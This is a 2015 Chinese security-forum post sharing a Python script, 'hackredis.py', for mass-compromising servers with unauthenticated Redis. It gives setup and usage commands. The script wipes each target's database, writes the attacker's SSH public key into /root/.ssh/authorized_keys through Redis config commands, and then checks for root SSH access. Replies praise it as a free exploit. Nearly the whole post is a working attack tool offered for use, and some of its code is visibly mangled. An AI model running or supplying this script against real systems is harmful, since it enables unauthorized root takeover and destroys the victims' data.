九零登录

[【通过】] Python脚本-redis未授权批量提权脚本

[复制链接]
发表于 2015-12-29 14:23:38 | 显示全部楼层 |阅读模式
安装依赖:
[tr][/tr][/table]

sudo easy_install redis



使用命令:



python hackredis.py  -l ip.txt -p 6379 -r foo.txt -sp 22



首先需要ssh密钥:


[table]
ssh-keygen -t rsa
cp ~/.ssh/id_rsa.pub /tmp/foo.txt




Code:
[tr][/tr]


[Python] 纯文本查看 复制代码
#!/usr/bin/python
#coding:utf-8
#############################################################
## @file    hackredis.py                                   ##
## @date    2015-12-11                                     ##
## @author  菜鸟                                           ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
    parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''\
    For Example:
    -----------------------------------------------------------------------------
    python hackredis.py  -l ip.txt -p 6379 -r foo.txt -sp 22'''))
    parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
    parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
    parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
    parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
    if(len(sys.argv[1:]) / 2 != 4):
        sys.argv.append('-h')
    return parser.parse_args()

def hackredis(host,port):
    ck = 0
    try:
        print "
Attacking ip:%s"%host
        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
        r.flushall
        r.set('crackit',foo)
        r.config_set('dir','/root/.ssh/')
        r.config_set('dbfilename','authorized_keys')
        r.save()
        ck =1
    except:
        print "\033[1;31;40m[-]\033[0m Something wrong with %s"%host
        write(host,2)
        ck =0
    if ck == 1:
        check(host)
    else:
        pass

def check(host):
    print '\033[1;33;40m
\033[0m Check connecting... '
    try:
        ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
        i = ssh.expect('[#\$]',timeout=2)
        if i == 0:
            print "\033[1;34;40m[+]\033[0m Success !"
            write(host,1)
        else:
            pass
    except:
        print "\033[1;32;40m[-]\033[0m Failed to connect !"
        write(host,3)
def write(host,suc):
    if suc == 1:
        filesname = 'success.txt'
    elif suc ==2:
        filesname = 'fail.txt'
    elif suc ==3:
        filesname = 'unconnect.txt'
    else:
        pass
      file_object = open(filesname,'a')
      file_object.write(host+'\n')
      file_object.close()


def main():
    global foo,ssh_port
    paramsargs = getargs()
    try:
        hosts = open(paramsargs.iplist,"r")
    except(IOError):
        print "Error: Check your hostfile path\n"
        sys.exit(1) 
    port = paramsargs.port
    ssh_port = paramsargs.ssh_port
    try:
        foo = '\n\n\n'+open(paramsargs.id_rsafile,"r").readline()+'\n\n\n'
    except(IOError):
        print "Error: Check your wordlist path\n"
        sys.exit(1)     
    ips = [p.replace('\n','') for p in hosts]
    for ip in ips:
        hackredis(ip.strip(),port)


if __name__ == "__main__":
    main()


评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-1-1 07:23:41 | 显示全部楼层
这个思路有点赞!之前也想过,不知乱码部分你怎么搞定的
发表于 2016-1-1 18:17:44 | 显示全部楼层
欢迎加入90,对于我们这些刚学py的菜鸟来说,开源的exp真的是福利

九零

GMT+8, 2026-10-22 12:52

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表